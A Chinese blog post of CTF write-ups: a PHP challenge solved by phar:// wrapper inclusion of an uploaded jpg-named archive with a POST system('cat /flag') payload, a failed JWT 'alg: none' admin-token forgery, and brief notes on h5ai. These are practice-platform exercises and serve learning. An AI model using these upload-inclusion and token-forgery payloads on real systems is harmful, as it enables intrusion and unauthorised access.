各种CTF练习平台WriteUp😊
一、BMZCTF:phar??
1、开局查看源码提示include.php和upload.php,include.php盲猜payload
获取源码base64,解码如下:
upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <form action="" enctype="multipart/form-data" method="post" name="upload">file:<input type="file" name="file" /><br> <input type="submit" value="upload" /></form>
<?php if(!empty($_FILES["file"])) { echo $_FILES["file"]; $allowedExts = array("gif", "jpeg", "jpg", "png"); @$temp = explode(".", $_FILES["file"]["name"]); $extension = end($temp); if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg") || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg") || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png")) && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts)) { move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]); echo "file upload successful!Save in: " . "upload/" . $_FILES["file"]["name"]; } else { echo "upload failed!"; } } ?>
|
include.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <html> Tips: the parameter is file! :) <!-- upload.php --> </html> <?php @$file = $_GET["file"]; if(isset($file)) { if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70) { echo "<p> error! </p>"; } else { include($file.'.php'); } } ?>
|
审计源码,上传文件后缀名与content-type都设置了白名单,include.php在包含文件时也有路径限制,并且强制拼接了.php后缀。所以采用phar伪协议上传,来绕过限制。
特点1:上传后缀为jpg的phar归档,仍然可以通过phar://zjc.jpg/index.php去访问php文件
特点2:本来源码设置了include_path?但是使用phar协议却可以绕过这个目录包含的限制?
Payload:
1 2 3
| http://www.bmzclub.cn:20188/include.php?file=phar://upload/my2.jpg/index
POST: zjc=system('cat /flag');
|
二、普通的身份认证器
中国科学技术大学第七届信息安全大赛
此题怀疑是JWT伪造,题目解释如下:
近日,小 T 接手了某个老旧 Python 网站的重构工作。接手之后,他把原先的 requirements.txt 复制到了新项目下,更换了后端框架,照着框架文档魔改了身份认证部分的内容,写出了一个测试用的原型。看起来一切都很正常,只是他似乎没有仔细检查每一项依赖的版本。
总觉得有哪里不对,但奈何python网站只了解flask和Django,尝试Django文档中找配置身份认证的内容,没有找到。
1、今天看学校Dozer社团大佬们的Wiki,学习到了JWT相关的攻击方法。
分别是1、None签名绕过检测 2、 RSA->HSA算法转换
2的使用条件需要知道公钥,这个我不知道呀。试试1吧!通过脚本构造Payload如下
1 2 3 4 5 6 7 8 9 10
| eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6IjE2MDQ0OTg4NTYifQ.
"typ": "JWT", "alg": "none" }
"sub": "admin", "exp": "1604498856" }
|
失败呀!再想想其它思路吧。
三、HackerGame2020——超简易的网盘服务器
中国科学技术大学第七届信息安全大赛
这里学习到了h5ai这一文件服务器模板,有时间可以自己搭建一个云盘服务器。另外对HTTP Authorization 的 Basic Auth有了基础了解。
上一篇:Web中间件漏洞之IIS漏洞(转)
下一篇:GPT磁盘